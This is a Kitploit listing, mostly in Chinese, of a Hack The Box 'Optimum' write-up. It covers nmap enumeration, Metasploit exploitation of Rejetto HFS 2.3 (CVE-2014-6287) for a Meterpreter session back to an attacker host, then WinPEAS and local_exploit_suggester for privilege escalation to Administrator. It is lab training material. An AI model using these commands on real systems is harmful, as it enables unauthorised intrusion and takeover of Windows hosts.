Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Optimum — Writeup of the Optimum machine from Hack The Box. This walkthrough covers the exploitation of Rejetto HttpFileServer 2.3 (CVE-2014-6287) to gain initial access, followed by privilege escalation on a Windows host using enumeration techniques and post-exploitation tools. | Kitploit
工具/GitHubGitHub/r3fr4kt/optimum
Privilege EscalationReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingLearning & Education
GitHubr3fr4kt/optimum
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Optimum

Writeup of the Optimum machine from Hack The Box. This walkthrough covers the exploitation of Rejetto HttpFileServer 2.3 (CVE-2014-6287) to gain initial access, followed by privilege escalation on a Windows host using enumeration techniques and post-exploitation tools.

查看仓库

Optimum


Optimum – Hack The Box 解题报告

概述

在这台机器上,目标是利用一个脆弱Web服务获取对Windows主机的初始访问权限,然后提升权限以获取管理员flag。

攻击路径包括:

  • 服务枚举
  • 利用 Rejetto HTTP File Server 2.3
  • 通过 Metasploit 获取初始访问
  • 使用 WinPEAS 和 Metasploit 后利用模块 进行权限提升

侦察

我们首先进行全TCP端口扫描以识别暴露的服务。

root@kitploit:~
nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>

扫描显示 80 端口 打开。

接下来,我们进行服务及版本扫描。

root@kitploit:~
nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>

结果识别出以下服务:

root@kitploit:~
HttpFileServer 2.3

该服务对应 Rejetto HTTP File Server,一个轻量级的文件共享Web服务器。


漏洞识别

在研究检测到的版本后,我们发现一个已知漏洞:

root@kitploit:~
CVE-2014-6287

该漏洞由于输入清理不当,允许远程代码执行。


利用

为了利用该漏洞,我们使用 Metasploit。

启动 Metasploit:

root@kitploit:~
msfconsole -q

搜索合适的模块:

root@kitploit:~
search rejetto

加载利用模块:

root@kitploit:~
use exploit/windows/http/rejetto_hfs_exec

配置所需选项:

root@kitploit:~
set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run

执行后,利用将在目标机器上提供一个 Meterpreter 会话。


初始访问

利用获取的Meterpreter会话,我们浏览文件系统以检索 用户flag。

root@kitploit:~
cd
cat user.txt
whoami

命令输出显示我们以以下身份登录:

root@kitploit:~
kostas

由于该用户没有管理员权限,我们继续进行权限提升。


权限提升枚举

为了识别潜在的权限提升向量,我们上传 WinPEAS,一个知名的Windows权限提升枚举工具。

root@kitploit:~
upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe

然后我们执行它:

root@kitploit:~
shell
.\wp.exe

输出揭示了有用的信息,包括与用户 kostas 相关联的凭据。


权限提升

在回顾可能的提升向量后,我们使用Metasploit模块:

root@kitploit:~
local_exploit_suggester

加载模块:

root@kitploit:~
use post/multi/recon/local_exploit_suggester

配置会话:

root@kitploit:~
set SESSION <SESSION_NUMBER>
run

该模块会建议可用于提升权限的本地利用方法。

成功提升权限后,我们获得一个具有管理员权限的shell。

验证:

root@kitploit:~
shell
whoami

管理员访问权限

获得管理员权限后,我们导航到Administrator目录以检索 root flag。

root@kitploit:~
cd \Users\Administrator
dir
cd Desktop
dir
type root.txt

关键要点

这台机器展示了几个重要的渗透测试概念:

  • 正确的服务枚举对于识别脆弱软件至关重要。
  • 公开已知的漏洞如 CVE-2014-6287 可能导致立即的远程代码执行。
  • 诸如 WinPEAS 之类的工具有助于识别Windows环境中的权限提升机会。
  • Metasploit 后利用模块可以加速权限提升过程。
下载工具